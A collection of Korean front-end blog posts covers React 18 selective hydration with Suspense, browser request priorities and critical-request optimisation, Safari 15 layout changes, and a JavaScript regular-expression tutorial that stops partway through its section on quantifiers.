    </Suspense>
  </RightPane>
</Layout>
```

이제 두 컴포넌트 모두 navbar와 post를 포함하는 초기 HTML 렌더링 작업이후에 서버에서 스트리밍 될 수 있다. 하지만 이 작업은 hydration에도 영향을 미칠 수 있다. 두 컴포넌트 모두 HTML은 로딩되었지만, 코드는 로딩되지 않았다고 가정해보자.

![step1](https://camo.githubusercontent.com/9eab3bed0a55170fde2aa2f8ac197bc06bbe157b6ee9446c7e0749409b8ed978/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f78744c50785f754a55596c6c6746474f616e504763413f613d4e617972396c63744f6b4b46565753344e374e6d625335776a39524473344f63714f674b7336765a43737361)

그 다음, 사이드바와 댓글을 모두 포함하는 번들이 로딩된다. 리액트는 Suspense 경계 부분에서 시작하여 이제 두 컴포넌트에 모두 hydration을 시도할 것이다.

![step2](https://camo.githubusercontent.com/6542ff54670ab46abfeb816c60c870ad6194ab15c09977f727110e270517b243/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f424333455a4b72445f72334b7a4e47684b33637a4c773f613d4778644b5450686a6a7037744b6838326f6533747974554b51634c616949317674526e385745713661447361)

그런데 사용자가 댓글 위젯에 접근했다고 가정해보자.

![step3](https://camo.githubusercontent.com/af5a0db884da33ba385cf5f2a2b7ed167c4eaf7b1e28f61dac533a621c31414b/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f443932634358744a61514f4157536f4e2d42523074413f613d3069613648595470325a6e4d6a6b774f75615533725248596f57754e3659534c4b7a49504454384d714d4561)

리액트는 이 클릭 이벤트를 기억해두었다가, 사이드바보다 댓글을 hydration 하는게 중요하다고 판단하고 더 먼저 hydrate를 하게 된다.

![step4](https://camo.githubusercontent.com/f76a33458a3e698125063884035e7f126104bc2c27c30c02fe8e9ebdf3048c7b/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f5a647263796a4c49446a4a304261385a53524d546a513f613d67397875616d6c427756714d77465a3567715a564549497833524c6e7161485963464b55664f554a4d707761)

hydration이 끝나면, 클릭이벤트를 다시 dispatch하여 컴포넌트가 응답을 낼 수 있도록 할 것이다. 그리고 리액트는 더 이상 급하게 처리해야할 작업이 없으므로, 다시 사이드바 컴포넌트를 hydration 할 것이다.

![step5](https://camo.githubusercontent.com/64ea29524fa1ea2248ee0e721d1816387127507fd3d73a013f89266162b20fba/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f525a636a704d72424c6f7a694635625a792d396c6b773f613d4d5455563334356842386e5a6e6a4a4c3875675351476c7a4542745052373963525a354449483471644b4d61)

이는 3번째 문제도 해결하였다. 선택적 hydration 덕분에, _페이지가 하나라도 작동하기 위해 모두 hydration을 기다릴 필요_가 없어졌다. 리액트는 가능한 빨리 모든 것을 hydration 시도하고, 그리고 유저의 동작에 기반하여 급한 부분을 먼저 우선순위를 두고 hydration 작업을 수행한다. 선택적 hydration의 이점은 애플리케이션 전체에 `Suspense`를 사용할 수로 그 경계가 더욱 세분화 된다는 점을 고려한다면 더욱 분명해진다.

![step6](https://camo.githubusercontent.com/dbbedbfe934b41a8b4e4ed663d66e94c3e748170df599c20e259680037bc506c/68747470733a2f2f717569702e636f6d2f626c6f622f5963474141416b314234322f6c5559557157304a38525634354a39505364315f4a513f613d39535352654f4a733057513275614468356f6932376e61324265574d447a775261393739576e566e52684561)

위 예제에서는, 사용자가 댓글을 시작하자마자 댓글 컴포넌트를 먼저 hydration 한다. React는 모든 부모 Suspense 바운더리의 컨텐츠에 hydration 하는 것을 우선시하지만, 관계 없는 자식 컨텐츠에 대해서는 이를 건너뛴다. 이는 상호작용 경로에 있는 컴포넌트가 먼저 hydration 되기 때문에 hydration이 즉각적으로 일어나는 것과 같은 착각이 일어난다. 그 뒤, 리액트는 나머지 hydration 작업을 수행할 것이다.

실제 예시에서는, `Suspense`를 가능한 애플리케이션의 루트와 가깝게 추가해둘 것이다.

```html
<Layout>
  <NavBar />
  <Suspense fallback={<BigSpinner />}>
    <Suspense fallback={<SidebarGlimmer />}>
      <Sidebar />
    </Suspense>
    <RightPane>
      <Post />
      <Suspense fallback={<CommentsGlimmer />}>
        <Comments />
      </Suspense>
    </RightPane>
  </Suspense>
</Layout>
```

위 예시처럼 한다면, 초기 HTML은 `<Navbar>` 만을 포함하지만, 나머지는 사용자가 상호작용한 부분을 우선시하여 관련 코드가 로딩되는 직시 스트리밍하여 컴포넌트에서 hydration 할 것이다.

> 어떻게 애플리케이션이 전체적으로 hydration 되지 않았는데 동작할 수 있는걸까? 리액트는 개별 컴포넌트에 개별적으로 hydration 하는 것이 아닌 `<Suspense>` 바운더리에 대해 hydration을 발생시킨다. `<Suspense>`는 당장 나타나지 않는 컨텐츠에 사용되므로, 코드는 이 자식 컨텐츠가 즉시 이용할 수 없는 상태에 대해 탄력적으로 대처할 수 있다. 리액트는 항상 부모 컴포넌트를 우선순위로 hydration 하므로, 컴포넌트는 항상 props set을 가지고 있을 수 있다. 리액트는 이벤트가 발생될 때 이벤트 지점에서 전체 상위 트리에 hydration이 진행될 때 까지 이를 보류 시켜 둔다. 마지막으로 상위 항목이 그럼에도 hydration이 되지 않는다면, 리액트는 이를 숨기고 코드가 로드 될 때 까지 `fallback`으로 화면을 바꿔 둔다. 이렇게 하면 트리가 일관되게 유지된다.

## 데모

https://codesandbox.io/s/festive-star-9hfqt?file=/src/App.js

위 데모코드는 `server/delays.js`에서 인위적으로 지연시켜서 확인할 수 있다.

- `API_DELAY`: 댓글을 가져오는 시간을 오래 걸리게 하여 HTML의 나머지 부분을 초기에 전송하는 것을 보여준다.
- `JS_BUNDLE_DELAY`: script 태그가 로딩되는 것을 지연하여 댓글 HTML이 나중에 삽입되는 것을 볼 수 있다.
- `ABORT_DELAY`: 서버에서 가져오는 시간이 너무 길어질 경우, 서버가 렌더링을 포기하고 클라이언트에서 렌더링이 되는 것을 볼 수 있다.

## 결론

리액트 18은 SSR을 위한 두가지 주요 기능을 제공한다.

- **HTML 스트리밍**: 개발자가 원하는 만큼 HTML을 조기에 스트리밍 할 수 있게 해주며, 나중에 로딩된 HTML을 올바른 위치에 놓아주는 `<script>`태그와 함께 추가적으로 스트리밍할 수 있다.
- **선택적 hydration**: HTML과 자바스크립트 코드의 나머지 부분이 완전히 다운로드 되기전에 가능한 빨리 애플리케이션이 hydration 할 수 있도록 한다. 또한 사용자가 상호작용하는 컴포넌트에 hydration 하는 것을 우선시하여, 즉각적으로 hydration 되는 것과 같은 착각을 불러일으킨다.

이 두가지 기능은 SSR과 관련된 아래 세가지 문제를 해결해준다.

- **HTML을 내보내기전에 서버에서 모든 데이터가 로딩될 때 까지 기다릴 필요가 없다.** 대신, HTML을 보낼 수 있는 상황이라면 바로 HTML을 보내고, 나머지부분은 준비되는 대로 스트리밍 할 수 있다.
- **hydration을 하기 위해 모든 자바스크립트 코드가 로드 될 때 까지 기다릴 필요가 없다.** 대신 SSR과 함께 코드 스플릿을 사용할 수 있다. 이렇게 하면 서버 HTML은 그대로 보존할 수 있고, 리액트는 관련 코드가 로드될 때 추가로 hydration 한다.
- **페이지와 상호작용하기 위해 모든 컴포넌트가 hydration 되는 것을 기다릴 필요가 없다.** 대신 선택석 hydration을 사용하여 사용자가 상호작용하는 컴포넌트에 우선순위를 지정하고 조기에 hydration을 수행할 수 있다.

`<Suspense>`는 이러한 모든 기능에 대한 옵트인 역할을 한다. 이 개선사항은 리액트 내부에서 자동으로 수행되며, 기존 리액트 코드의 대부분과 함께 작동 될 것으로 보인다. 이는 로딩중 상태를 선언적으로 표현하는 역할을 한다. `if (isLoading)`과 크게 달라보이지 않을 수 있지만, `<Suspense>`는 이러한 모든 개선사항을 실현해낸다.

> 위 글은 https://github.com/reactwg/react-18/discussions/37 을 번역하고, 본문의 내용 이해를 돕기 위해 몇가지 각색 및 별도 설명을 추가하였습니다.

---

Source: https://yceffort.kr/2021/09/critical-request-and-prioritise-requests.md
Title: Critical Request - request 순서는 웹사이트 속도에 어떤 영향을 미치는가
Description: 서순을 정확히하는게 중요하지
Date: 2021-09-22
Tags: web-performance

## Table of Contents

## Introduction

웹 사이트를 서비스하는 것은 굉장히 간단해 보일 수 있다. HTML을 내려주면, 브라우저는 다음에 어떤 리소스를 불러올지 알아낸다. 그런 다음, 브라우저가 페이지를 준비하기 까지 기다리기만 하면 된다. 그러나 사실 이 사이에는 많은 일이 일어난다. 브라우저는 과연 어떤 순서로 에셋을 요청해야 할까?

## 1. 에셋 우선순위란 무엇인가?

모던 브라우저는 streaming parser를 활용하여 HTML 구문을 붆석한다. 즉, 에셋은 다운로드 되기 전에 HTML 마크업 문서 내에서 찾을 수 있다. 브라우저가 에셋을 검색할 때, 미리 결정된 우선순위에 기반하여 네트워크 대기열에 해당 에셋을 추가시켜 둔다.

이러한 우선순위는 Lowest, Low, Medium, High, Highest라고 불리는 다섯단계로 나눠서 결정된다. 여기에서 우선순위를 할당하면, 브라우저는 페이지를 빠르게 로드하는데 필요한 가장 중요한 요청을 쉽게 구별할 수 있다.

![chrome-network-priority](./images/chrome-network-priority.png)

## 2. 크롬은 어떻게 우선순위를 결정하는가?

리소스는 어떻게 나타나는지, 그리고 어디서 발견되는지 순서에 따라서 네트워크 대기열에 추가된다. 그런 다음 브라우저는 네트워크 작업에서 가장 우선 순위가 높은 리소스를 최대한 빨리 가져오려고 시도한다.

각 리소스 유형에는 우선순위를 지정하는 규칙이 아래와 같이 존재한다.

| 리소스 타입                      | 우선순위                                                   |
| -------------------------------- | ---------------------------------------------------------- |
| HTML                             | Highest                                                    |
| Fonts                            | High                                                       |
| Stylesheets                      | Highest                                                    |
| `@import`로 불러오는 stylesheets | Highest, 스크립트를 블로킹 한 뒤에 로딩 됨                 |
| 이미지                           | 기본 값은 low, 최초 뷰포트에 존재할 경우 Medium으로 올라감 |
| 자바스크립트                     | 하단 표 참조                                               |
| Ajax, XHR, `fetch()` 등          | High                                                       |

### 자바스크립트 리소스의 우선순위

#### `<head>`내 `<script>`

- 로딩 우선순위 (네트워크, 블링크 엔진): Medium/High
- 실행 우선순위: 매우 높음, parser 블로킹
- 어디서 쓸까
  - FMP, FCP에 영향을 미치는 스크립트
  - 다른 스크립트 이전에 반드시 실행되어야 하는 스크립트
- 예제
  - 프레임워크 런타임 (스태틱 렌더링이 아닌 경우)
  - 폴리필
  - 페이지 전체의 DOM 구조에 영향을 미치는 A/B 테스트 등

#### `<link rel=preload>` + `<script async>` 또는 `<script type=module async>`

- 로딩 우선순위 (네트워크, 블링크 엔진): Medium/High
- 실행 우선순위: 높음, parser에 영향을 미침
- 어디서 쓸까
  - 중요한 컨텐츠를 만드는 스크립트 (FMP)
  - 하지만 뷰포트에 영향을 미치는 스크립트는 안됨
  - 컨텐츠의 동적인 삽입을 위한 동적인 네트워크 요청
  - 가져오는 즉시 실행해야하는 스크립트의 경우에는 `<script type=module async>`를 사용
- 예제
  - `<canvas />` 에 그려야 하는 것

#### `<script async />`

- 로딩 우선순위 (네트워크, 블링크 엔진): Lowest/Low
- 실행 우선순위: 높음, parser에 영향을 미침
- 어디서 쓸까
  - 사용할 때 주의 해야 한다. 요즘 들어 중요하지 않은 스크립트를 로딩 할 때 많이 사용하고 있지만, 로딩 우선순위만 낮을 뿐 실행 우선순위는 높다는 것을 기억해야 한다. https://calendar.perfplanet.com/2016/prefer-defer-over-async

#### `<script defer />`

- 로딩 우선순위 (네트워크, 블링크 엔진): Lowest/Low
- 실행 우선순위: 매우 낮음, `<body />` 최하단에 있는 `<script />`가 실행된 이후에 실행
- 어디서 쓸까:
  - 중요하지 않은 컨텐츠를 만드는 스크립트
  - 페이지 방문자의 50% 이상정도가 사용하는 중요한 상호작용 기능
- 예제
  - 광고

#### `<body />` 최하단에 있는 `<script />`

- 로딩 우선순위 (네트워크, 블링크 엔진): Medium/High
- 실행 우선순위: 낮음, 파서가 끝난 뒤에 실행됨
- 어디서 쓸까
  - 이 방법은 생각만큼 낮은 우선순위로 실행되지 않는다는 것을 명심해야 한다.

#### `<body />` 최하단에 있는 `<script defer />`

- 로딩 우선순위 (네트워크, 블링크 엔진): Lowest/Low, 큐 맨 마지막
- 실행 우선순위: 매우 낮음. `<body />` 최하단에 있는 `<script />` 가 끝나면 실행됨
- 어디서 쓸까
  - 사용자들이 가끔 사용하는 상호작용 기능
- 예제
  - '연관된 기사들' 같은 컨텐츠 (중요도가 낮은)
  - '피드백을 주세요' 같은 기능들 (역시 중요도가 낮은)

#### `<link rel=prefetch />` + `<script/>`

- 로딩 우선순위 (네트워크, 블링크 엔진): Idle/Lowest
- 실행 우선순위: 스크립트가 어떻게 작동 하느냐에 따라 다름.
- 어디서 쓸까
  - 다음 라우팅을 위한 자바스크립트 번들
- 예제
  - 다음 라우팅을 위한 자바스크립트 번들

> 브라우저 별로 동작이 통일되어 있지 않으므로 사용할 때 한번 더 확인이 필요하다. (위 자료는 크롬 기준)
> https://addyosmani.com/blog/script-priorities/

## 3. Critical Request란 무엇인가?

Critical Request란 초기 뷰포트에 표시되어야 하는 리소스를 의미한다.

여기에 포함되는 리소스들은 [Core Web Vital](/2021/08/core-web-vital)의 Largest Contentful Paint, First Contentful Paint에 영향을 미친다.

여기에 포함될 수 있는 리소스들은 아래와 같다.

- HTML
- CSS
- webfont
- images
- logo

이러한 애셋들은 (자바스크립트는 없다) 최초 뷰포트를 보여주는데 필수적인 요소들이기 때문에, 가장 먼저 로딩되어야 한다. 이러한 페이지를 위해서는 아래와 같은 항목을 챙기는 것을 추천한다.

- 최초 페이지 로딩시에 보여주어야 하는 요소들에 대한 성능 측정 (above-the-fold)
- 최초 HTTP 요청은 위 요소들이어야 함
- Critical Request는 리다이렉트 되어선 안됨
- Critical Request는 최적화되고, 압축되어야 하며, 캐싱 및 올바른 HTTP 헤더와 함께 제공되어야 함.

## 4. Lighthouse, Critical Request 체이닝을 피해야 한다.

구글의 라이트하우스는 Critical Request가 체이닝 되어 여러 요청이 호출되는 것을 막도록 권장하고 있다.

![critical-requests-chaining](./images/critical-requests-chaining.png)

가장 흔히 저지르는 critical request chaining은 바로 스타일 시트에서 폰트를 불러올 때 발생한다.

```css
@font-face {
  font-family: 'Calibre';
  font-weight: 400;
  font-display: swap;
  src:
    url('/Calibre-Regular.woff2') format('woff2'),
    url('/Calibre-Regular.woff') format('woff');
}

.carousel-bg {
  background-image: url('/images/main-masthead-bg.png');
}
```

이러한 요청의 체이닝의 수를 줄이면 LCP의 속도가 빨라지고, 사용자의 웹사이트 경험이 향상된다.이러한 체이닝 수를 줄이기 위해서 아래와 같은 항목을 점검하자.

- 요청의 수를 줄이기
- 리소스를 압축하거나 최소화 하여 크기를 줄이기
- 중요하지 않은 스크립트에 `async`
- HTML에 인라인 `@font-face` 선언을 고려
- css `background-image`나 `@import`를 최소화
- `preload`를 사용하여 중요한 리소스를 빨리 가져오기
- [bundlephobia](https://bundlephobia.com/)를 사용하여 더 작은 대체 라이브러리를 찾아보기

## 5. 요청 우선순위를 제어하기

요청 우선순위는 [preload](https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/preload)의 영향을 받을 수 있다. `Preloaded` 리소스는 높은 우선순위를 보여 받고, 페이지가 로딩될 때 빠르게 불러와진다.

```html
<link
  rel="preconnect"
  href="https://fonts.gstatic.com"
  crossorigin="anonymous"
/>
<link
  rel="stylesheet"
  href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
/>
```

![chrome-font-priority](./images/chrome-font-priority.png)

`Preload`를 사용하면, Critical Request를 최적화 할 수 있지만 너무 많이 사용해서는 안된다. 너무 많은 리소스에 붙이게 되면, 당연하게도 [페이지의 성능이 저하된다.](https://andydavies.me/blog/2019/02/12/preloading-fonts-and-the-puzzle-of-priorities/)

Preloading은 LCP와 CLS(Cumulative Layout Shift)에 영향을 미칠 수 있는데, 일부는 부정적인 영향을 미칠 수 있다. 사용하기 전에 충분히 실험해봐야 한다.

## 6. 이미지 레이지 로딩

기본적으로 브라우저는 사용자가 이미지를 실제로 보는 것과 상관없이 HTML에 있는 모든 이미지를 로드한다. 레이지 로딩을 사용하면 사용자가 이미지에 스크롤을 가까이 할 때만 이미지를 불러오도록 지정할 수 있다. 사용자가 스크롤 하지 않으면 해당 이미지를 브라우저는 불러오지 않는다.

이 접근방식을 사용하면 전반적인 렌더링 속도를 개선하고, 불필요한 데이터 전송을 피할 수 있다. 레이지로딩은 LCP를 개선하는데 매우 효과적이다.

과거 라이브러리나 스크립트를 사용하여 구현했지만, 요즘 브라우저에는 이 기능이 내장되어 있다.

> 물론 지원 가능 여부는 확인해 봐야 한다. https://caniuse.com/loading-lazy-attr

## 7. font-display

[통계에 따르면, 전체 69% 사이트가 웹 폰트를 사용하고 있다.](http://httparchive.org/interesting.php#fonts) 그리고 불행하게도, 이 경우 대부분 수준 이하의 성능을 제공하고 있다. 대부분의 유저들이 폰트가 나타나다가 사라지거나 한다거나, font-weight이 바뀌거나 하는 경험을 해본적이 있다. 이러한 변화는 이제 CLS에 부정적인 영향을 끼치게 된다.

`<link rel= "preload"/>`에서 소개했던 것 처럼, 폰트도 우선순위를 제어하면 렌더링 속도에 큰 영향을 미칠 수 있다. 따라서 대부분의 경우에는 폰트의 요청 우선순위를 결정해야 한다.

CSS font-display를 사용하면 렌더링 속도 향상에 영향을 미칠 수 있다. 이 속성을 사용하면 폰트를 요청하고 로딩되는 동안, 폰트가 표시되는 방식을 제어할 수 있다.

> https://yceffort.kr/2021/06/ways-to-faster-web-fonts 를 참고!

## Critical Request 체크리스트

위에서 살펴본 것들을 바탕으로, 사이트에 중요한 에셋을 선택하고 그에 따른 우선순위를 지정할 수 있다. 우선 순위와 속도를 높이기 위해서 아래의 체크리스트를 한번더 확인해보자.

- 크롬 개발자 도구에서 우선순위를 확인해보기
- 가능한 경우 필요한 요청 수를 줄이기
- 사용자가 완전히 렌더링된 페이지를 보기 전에 해야하는 것들을 정리하기
- `<link rel="preload" />`를 하여 중요 요청의 우선순위를 수정하기
- 다음 페이지에서 사용될 가능성이 있는 에셋에 대해 [link prefetching](https://developer.mozilla.org/en-US/docs/Web/HTTP/Link_prefetching_FAQ)을 사용하기
- [Link Preload HTTP 헤더](https://www.w3.org/TR/preload/)를 사용하여 HTML이 완전히 전송되기전에 사전에 로드될 리소스를 선언하기
- 이미지의 사이즈가 올바른지 확인하기
- 로고나 아이콘에 인라인 svg를 사용하기
- AVIF, Webp와 같은 좋은 이미지 포맷 사용하기
- `font-display: swap`을 사용하여 초기렌더링에 텍스트를 표시하기
- `WOFF2` 와 같은 압축된 폰트 형식 사용하기
- `chrome://net-internals/#events`를 사용하여 크롬 네트워크 이벤트 살펴보기
- _가장 빠른 요청은 요청하지 않는 것_

---

Source: https://yceffort.kr/2021/09/safari-15-update.md
Title: 웹 개발자가 본 사파리 15의 변화와 대응
Description: 죽인다 사파리
Date: 2021-09-19
Tags: browser, css, frontend

## Introduction

사파리 15가 나왔다. 애플을 굉장히 좋아하고, 또 다수의 애플 제품을 보유하고 있는 나로서는 매우 즐거운 일이지만, 이번 safari 15는 나에게 몇가지 이슈를 안겨줬다. 무엇이 달라졌고, 어떻게 대응해야 하는지 살펴보자.

## 주소 창 위치의 변화

주소 창 위치가 변화하였다. 종전에 위에 있었지만, 이제는 밑에 주소창이 나타난다. 이로 인해 발생하는 문제에 대해서는 후술한다.

## 버튼 기본 색상 및 radius 변경

먼저 버튼의 기본 색상과 radius가 변경되었다.

![safari14-button](./images/safari14-button.png)

![safari15-button](./images/safari15-button.jpeg)

애플에서 자주 보던 그 파란색이다. 이제 스타일 리셋을 할때 버튼의 색깔까지 클리어 해주어야 한다.

## 사파리 100vh 문제 해결?

모바일 사파리에서는 기존 버전까지 `100vh`가 의도대로 동작하지 않는 문제가 있었다. 요약하자면 모바일 사파리에서는 스크롤시 주소창이 사라지는데, 이 경우 `100vh`가 뷰포트의 100% 높이가 변경되어 버리는 문제가 있다. 즉, `100vh`라는 값이 정적이지 않다는 뜻이다. 문제를 자세히 살펴보자.

먼저 우리가 아는 `vh` 란 viewport 너비의 1%를 말한다.

그리고 모바일 사파리에서 동작하는 `100vh`는 아마도 아래와 같을 것이라고 추측하고 있다.

> 가장 큰 문제는 모바일 브라우저 (크롬, 사파리)가 주소창이 보여지거나 숨겨져서 view port의 크기가 변경될 수 있다는 것이다. 이러한 브라우저는 view port 높이가 변경될때 현재 가시적인 부분으로 100vh를 수정하는 것이 아니라, 브라우저 주소 표시줄이 숨겨진 상태에서 100vh를 설정해둔다는 것이다. 그 결과, 주소표시줄이 다시 보이게 될 때 화면 하단 부분이 잘려나가서, 100vh의 목적을 위반하게 된다.

> https://chanind.github.io/javascript/2019/09/28/avoid-100vh-on-mobile-web.html

![100vh](https://chanind.github.io/assets/100vh_problem.png)

### 테스트

아래 테스트 페이지를 살펴보자. 하단에는 버튼이 있고, 이 모든 요소들은 `100vh`로 감싸져 있다.

![safari14-100vh](./images/safari14-100vh.png)

![safari15-100vh](./images/safari15-100vh.jpeg)

오오 해결된 것 같지만...

![safari15-100vh-floating-address-bar](./images/safari15-100vh-floating-address.jpeg)

> 짜잔 사실 해결되지 않았습니다.

Safari15에서도 `100vh`에는 변화가 없다. 이 쯤 되면 사실상 해결할 생각이 없거나, 혹은 이를 문제라고 보고 있는 것 같지 않다.

이를 해결하기 위해서는 어떻게 해야할까?

시간을 과거로 돌려, 아이폰 X가 처음나왔을때, 노치에 컨텐츠가 가려지는 문제를 해결하기 위하여 애플이 [`env`와 `safe-area-inset`을 소개했던 것](https://webkit.org/blog/7929/designing-websites-for-iphone-x/)을 떠올려보자.

사파리 14에서는, `safe-area-inset-bottom`의 값이 주소 창에 상관없이 0으로 고정되어 있었다. 그러나 사파리 15에서는 주소창이 활성화 되지 않은 상태에서의 `safe-area-inset-bottom`값은 0 이지만, 주소창이 펼쳐졌을 때는 그 값만큼 제공이 된다.

```css
footer {
  padding-bottom: calc(1em + env(safe-area-inset-bottom));
}
```

## Theme color

탭 모음 배경색은 더 이상 흰색 또는 회색으로 고정되어 있지 않고, 현재 페이지의 색 구성표에 맞게 조정된다. 이렇게 하면 화면에 좀더 몰입도를 가져올 수 있다. 기본적으로는 헤더나 바디의 배경색을 사용하여 사파리에서 자동으로 선택되지만, 문서헤더에 메타 태그를 사용하여 설정할 수도 있다.

![safari14-theme-color](./images/safari14-themecolor.png)

![safari15-theme-color](./images/safari15-themecolor.jpeg)

사파리 14, 15에서 내 블로그의 색이 다르게 나오는 것을 볼 수 있는데, 이는 아래 코드처럼 내가 강제로 색을 설정해두었기 때문이다.

```html
<meta name="theme-color" content="#00b7ff" />
```

이 말인 즉슨, 다른 DOM 노드 처럼 자바스크립트를 활용하여 사용자가 특정 작업을 사용하거나 특정 페이지를 방문할 때, `theme-color`를 동적으로 업데이트하여 사용자에게 더 큰 몰입감을 줄 수도 있다.

또한 이는 다크테마도 지원한다. 그래서 나는 아래 처럼 변경해보았다.

```html
<meta
  name="theme-color"
  content="#ffffff"
  media="(prefers-color-scheme: light)"
/>
<meta
  name="theme-color"
  content="#121826"
  media="(prefers-color-scheme: dark)"
/>
```

![safari15-theme-color-light](./images/safari15-theme-color-light.jpeg)

![safari15-theme-color-light](./images/safari15-theme-color-dark.jpeg)

> https://github.com/whatwg/html/issues/6495

---

Source: https://yceffort.kr/2021/09/deep-dive-javascript-regex.md
Title: 자바스크립트에서의 정규식, 이론부터 조심해야 할 것 까지
Description: 아직도 정규식이랑 안 친함. 오늘부터 1일....
Date: 2021-09-14
Tags: javascript

## Table of Contents

## 정규식은 무엇인가

정규식은 string 데이터의 패턴을 설명하는 방식이다. 다양한 언어에서 사용가능하며, 정규식을 사용하면 이메일 주소나, 암호와 같은 일련의 문자에서 패턴을 확인하여 해당 정규식에 정의된 패턴과 일치하는지 확인하고, 실행 가능한 정보를 얻을 수 있다.

## 정규식 만들기

자바스크립트에서 정규식을 만드는 방법은 두가지가 있다. `RegExp` 생성자를 사용하여 만들거나, `/` 를 사용하여 패턴을 감싸는 방법이 있다.

### 정규식 생성자

문법 : `new RegExp(pattern[, flags])`

```javascript
var regexConst = new RegExp('abc')
```

### 정규식 리터럴

문법: `/pattern/flags`

```javascript
var regexLiteral = /abc/
```

- `flags`는 옵셔널한 값인데, 이후에 다룬다.

정규식을 동적으로 만들고 싶은 경우가 있는데, 이 경우에는 정규식 리터럴을 사용할 수 없으므로 정규식 생성자를 사용해야 한다.

둘 중에 어떤 방법을 선택하던지 똑같은 정규식이 된다. 두 정규식 객체 모두 메서드와 속성이 동일하다.

> 슬래시는 패턴을 묶는데 사용되므로, 정규식의 일부로 사용하기 위해서는 `\/`와 같이 백슬래시로 이스케이프 해야 한다.

## 정규식 메소드

정규식 테스트를 위해 주로 사용하는 메소드가 두가지 있다.

### ReExp.prototype.test()

이 메서드는 정규식과 일치하는 항목이 있는지 여부를 테스트하는데 사용된다.

```javascript
var regex = /hello/
var str = 'hello world'
var result = regex.test(str)
console.log(result) // true
```

### RegExp.prototype.exec()

이 메소드는, 일치하는 모든 그룹을 배열로 리턴한다.

```javascript
var regex = /hello/
var str = 'hello world'
var result = regex.exec(str)
console.log(result)
// [ 'hello', index: 0, input: 'hello world', groups: undefined ]
// 'hello' -> 패턴에 일치하는 것
// index: -> 시작 index
// input: -> 실제 넘겨 받은 문자열
```

## 간단한 정규식 패턴

리터럴 텍스트와, 테스트 문자열이 일치하는지 확인하는 가장 간단한 패턴이다.

```javascript
var regex = /hello/
console.log(regex.test('hello world'))
// true
```

## 특수문자

사실 간단한 정규식 패턴은 별로 사용할일이 없다. 복잡한 경우를 다룰 때, 정규 표현식을 어떻게 쓰는지 살펴 보자.

예를 들어, 특정 이메일 주소를 확인하는 것이 아니라 여러 이메일 주소를 확인하고자 한다. 여기에서는 특별한 문자가 등장한다. 정규 표현식을 완전히 이해하기 위해서는 이것들을 어느정도 암기해야 한다.

### Flags

정규 표현식에는 다섯 가지의 옵셔널 플래그, 한정자가 있다. 그 중 가장 유명한 두개는 아래와 같다.

- `g`: 글로벌 검색
- `i`: 대소문자 구별을 안함

플래그와 단일 정규식을 결합할 수 있다.

정규식 리터럴 - `/pattern/flogs`

```javascript
var regexGlobal = /abc/g
console.log(regexGlobal.test('abc abc')) // true
var regexInsensitive = /abc/i
console.log(regexInsensitive.test('Abc')) // true
```

정규식 생성자 - `new RegExp('pattern', 'flags')`

```javascript
var regexGlobal = new RegExp('abc', 'g')
console.log(regexGlobal.test('abc abc')) // true
var regexInsensitive = new RegExp('abc', 'i')
console.log(regexInsensitive.test('Abc')) // true
```

### 문자열 그룹

#### `[xyz]`

특정한 위치에 서로 다른 문자를 일치시키는 방법으로, 괄호안에 있는 문자의 문자열에 있는 모든 단일 문자를 확인한다.

```javascript
var regex = /[bt]ear/
console.log(regex.test('tear'))
// returns true
console.log(regex.test('bear'))
// return true
console.log(regex.test('fear'))
// return false
```

#### `[^xyz]`

괄호안에 있는 것과 일치하지 않는 것만 확인한다.

```javascript
var regex = /[^bt]ear/
console.log(regex.test('tear'))
// returns false
console.log(regex.test('bear'))
// return false
console.log(regex.test('fear'))
// return true
```

#### `[a-z]`

모든 알파벳을 특정 위치에서 일치시키고 싶다면, 모든 문자를 쓰는 대신 이처럼 범위를 쓰면 된다. `[a-h]`는 a~h를 의미한다. `[0-9]`를 사용하여 숫자를 찾거나, `[A-Z]`를 사용하여 대문자만 찾을 수도 있다.

```javascript
var regex = /[a-z]ear/
console.log(regex.test('fear'))
// returns true
console.log(regex.test('tear'))
// returns true
```

#### 메타 문자

특수한 의미를 가진 것들을 의미한다. 매우 다양하지만, 일단 중요한 것은 아래와 같다.

- `\d`: 숫자 (`[0-9]`와 같음)
- `\w`: 글자, 숫자, `_`를 포함. (`[a-zA-Z0–9_]`와 같음)
- `\s`: 공백 문자 (스페이스, 탭)
- `\t`: 탭 문자
- `\b`: 단어의 시작이나 끝에 일치하는 단어를 찾는다. 단어 바운더리 라고도 불리운다.
- `.`: 새 줄(`\n`)을 제외한 모든 문자와 일치
- `\D`: `\d`와 같음
- `\W`: `\w`와 정반대
- `\S`: `\s`와 정반대

#### Quantifiers

Quantifiers는 정규식에서 특별한 의미를 갖는 기호를 의미한다.

- `+`: 이전 식과 1회 이상 일치

  ```javascript
  var regex = /\d+/
  console.log(regex.test('8'))
  // true
  console.log(regex.test('88899'))
  // true
  console.log(regex.test('8888845'))
  // true
  ```

- `*`: 이전 식을 0회 이상 일치

  ```javascript
  var regex = /go*d/
  console.log(regex.test('gd'))
  // true
  console.log(regex.test('god'))
  // true
  console.log(regex.test('good'))
  // true
  console.log(regex.test('goood'))
  // true
  ```

- `?`: 이전식을 0, 1번 일치

  ```javascript
  var regex = /goo?d/
  console.log(regex.test('god'))
  // true
  console.log(regex.test('good'))
  // true
  console.log(regex.test('goood'))
  // false
  ```

- `^`: 문자열의 시작과 일치. 문자열 뒤에 오는 정규식은 테스트 문자열의 시작에 있어야 한다. 즉, `^`은 문자열의 시작과 일치해야 한다.

  ```javascript
  var regex = /^g/
  console.log(regex.test('good'))
  // true
  console.log(regex.test('bad'))
  // false
  console.log(regex.test('tag'))
  // false
  ```

- `$`: 문자열의 끝, 즉 문자열 앞에 와야하는 정규식과 일치한다.

  ```javascript
  var regex = /.com$/
  console.log(regex.test('test@testmail.com'))
  // true
  console.log(regex.test('test@testmail'))
  // false
  ```

- `{N}`: 이전 정규식과 N번 일치

  ```javascript
  var regex = /go{2}d/
  console.log(regex.test('good'))
  // true
  console.log(regex.test('god'))
  // false
  ```

- `{N,}`: 최소 N번 이상 이전 정규식과 일치

  ```javascript
  var regex = /go{2,}d/
  console.log(regex.test('good'))
  // true
  console.log(regex.test('goood'))
  // true
  console.log(regex.test('gooood'))
  // true
  ```

